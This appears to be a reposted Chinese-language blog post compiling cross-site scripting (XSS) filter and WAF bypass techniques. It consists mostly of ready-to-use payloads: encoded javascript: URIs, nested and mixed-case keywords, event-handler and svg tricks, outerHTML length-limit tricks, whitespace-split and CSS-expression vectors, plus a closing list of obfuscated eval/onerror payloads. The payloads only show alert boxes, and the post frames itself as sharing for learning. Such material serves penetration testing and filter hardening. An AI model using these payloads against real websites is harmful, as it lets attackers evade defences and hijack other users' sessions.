浅谈XSS绕过姿势

Posted RCE TEAM

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅谈XSS绕过姿势相关的知识,希望对你有一定的参考价值。


XSS,即跨站脚本攻击。是最常见的Web应用程序安全漏洞之一。它允许恶意用户将代码注入到网页上(通常是javascript,其他用户在访问网页时就会使恶意代码执行从而受到影响。这类攻击通常包含了html以及用户端脚本语言。作为经典的Web应用漏洞之一的XSS,危害还是不容忽视的。本文将归纳一些本人所知的一点XSS的绕过方法,意在分享与学习。


编码绕过



    1.URL编码绕过:

javascript:alert(1) => javascript%3Aalert%281%29

    2.Unicode编码绕过:

javascript:alert(1) => jav\u0061script:\u0061lert(1)

    3.Hex编码绕过:

<script>alert(“xss”);</script> -> %3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3

    4.javascript编码绕过

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

    5.US-ASCII编码

¼script¾alert(¢XSS¢)¼/script¾


重写绕过


 

   当waf过滤方式为将某些关键字替换成空时,可以尝试嵌套,如过滤script关键字则可以尝试

scscriptript


大小写绕过


 

   虽然现在几乎见不到了,但也可尝试一下

JavAsCrIpT:AlErT(xss)


注释绕过



     1.在尖括号对被过滤的时候,可以考虑利用 // 绕过:

<article><body/onload=alert(1)//</article>

     2.利用script标签里的注释可以解决XSS字数限制问题。

<p class="comment" title=""><script>/*"></p><p class="comment" title="*/prompt(/*"></p> <p class="comment" title="*/1);/*"></p> <p class="comment" title="*/</script>"></p>


利用svg标签



    1.svg标签解析的时候,会把xml实体解析后再加入标签。

<svg><script>alert&#x28;1)</script>


构造属性



     1.在可控的变量作为标签的一个元素输出的时候,可以考虑构造标签的属性来达到恶意代码执行的目的,如:

<img src=x onerror=alert(1)>

或者是

<input value="" type=image src onerror="alert(1)" type="text">


利用子标签中的属性值覆盖



    在一个表单中的 document.forms[0].action值,可以被子标签中name属性值为action的标签给覆盖掉,从而可以绕过一些对action值进行检测的前段校验。例如以下摘自prompt.ml中第6题的payload

<form action="javascript:alert(1)"method="post"><input name="action" value="Matt"><input name="test" value="test"></form> <script>  if (!/script:|data:/i.test(document.forms[0].action))   document.forms[0].submit(); else  document.write("Action forbidden."</script>

例子中,校验的 document.forms[0].action值为 Matt。


使用outerHTML



<img src onerror=outerHTML=URL>

    利用outerHTML和URL,将要执行的JS放在url中,从而突破长度限制。使用document.URL构造XSS执行JS可以绕过长度限制

<?phpecho "Your name is:" . substr($_GET['name'], 035);?>

payload:

http://127.0.0.1/browser/1.php?name=<img src=x onerror=outerHTML=URL>#<img src=x onerror=alert(/xss/)>


利用重音符绕过


    当单双引号被过滤掉的时候,可以使用重音符`来封装JS字符串

<img src=`javascript:alert(1)`>


利用fromeCharCoded方法绕过引号限制


 

<img src=javascript:alert(String.fromCharCode(88,83,83))>


使用拆解XSS指令绕过


    下面列举一些特定情况下,通过拆解xss指令来绕过xss防护的方法


    用于绕过某些XSS防护

<img src="jav   ascript:alert('XSS');">

    也可以对TAB编码

<img src="jav&#x09;ascript:alert('XSS');">

    利用换行符拆解

<img src="jav&#x0A;ascript:alert('XSS');">

    利用回车拆解

<img src="jav&#x0D;ascript:alert('XSS');">

     Null空字符也可用来分割javascript指令,但是需要直接写入到利用工具中,如burp

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

    

利用混淆绕过过滤器


(alert)(1)a=alert,a(1)[1].find(alert)top[“al”+”ert”](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)top[‘al\145rt’](1)top[‘al\x65rt’](1)top[8680439..toString(30)](1)



多重尖括号


    

<<SCRIPT>alert("XSS");//<</SCRIPT>


双半开括号绕过


   

<iframe src=http://xss.rocks/scriptlet.html <


利用& JavaScript includes


    

<br size="&{alert('XSS')}">


利用<link>标签



<link rel="stylesheet" href="javascript:alert('XSS');">


DIV标签


    利用background-image属性

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

    加点unicoded编码

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

    加上额外字符

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

    利用DIV表达式

<DIV STYLE="width: expression(alert('XSS'));">


利用XML数据与CDATA区段混淆


    仅限于IE和Netscape8.1

<xml id="xss"><i><b><img src="javas<!-- -->cript:alert('XSS')"></b></i></xml><span datasrc="#xss" datafld="B" dataformatas="HTML"></span>


XSS-Payloads:


    最后是一些本人摘录的xss payload

eval.call`${'alert\x2823\x29'}`eval.apply`${[`alert\x2823\x29`]}`setTimeout`alert\x2823\x29`setInterval`alert\x2823\x29`onerror=alert;throw 23;'alert\x2823\x29'instanceof{[Symbol.hasInstance]:eval}onerror=eval;throw'=alert\x2823\x29';{onerror=alert}throw 23
throw/a/,Uncaught=1,g=alert,a=g+0,onerror=eval,/1/g+a[14]+[23,331,337]+a[15]
{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:'',message:'alert\x2823\x29'}

    


以上仅为本人自己所知的以及东拼西凑的些许绕过方法,并不是很全面,欢迎各位师傅补充和指证。如果有不对的或不恰当的地方请指出。

以上是关于浅谈XSS绕过姿势的主要内容,如果未能解决你的问题,请参考以下文章

xss绕过姿势总结

通过脚本片段绕过XSS防御

作者如何利用xss漏洞shua盒子rank的

XSS 绕过技术

如何利用XSS脚本攻击绕过WAF防火墙

XSS注入-简单过滤绕过方法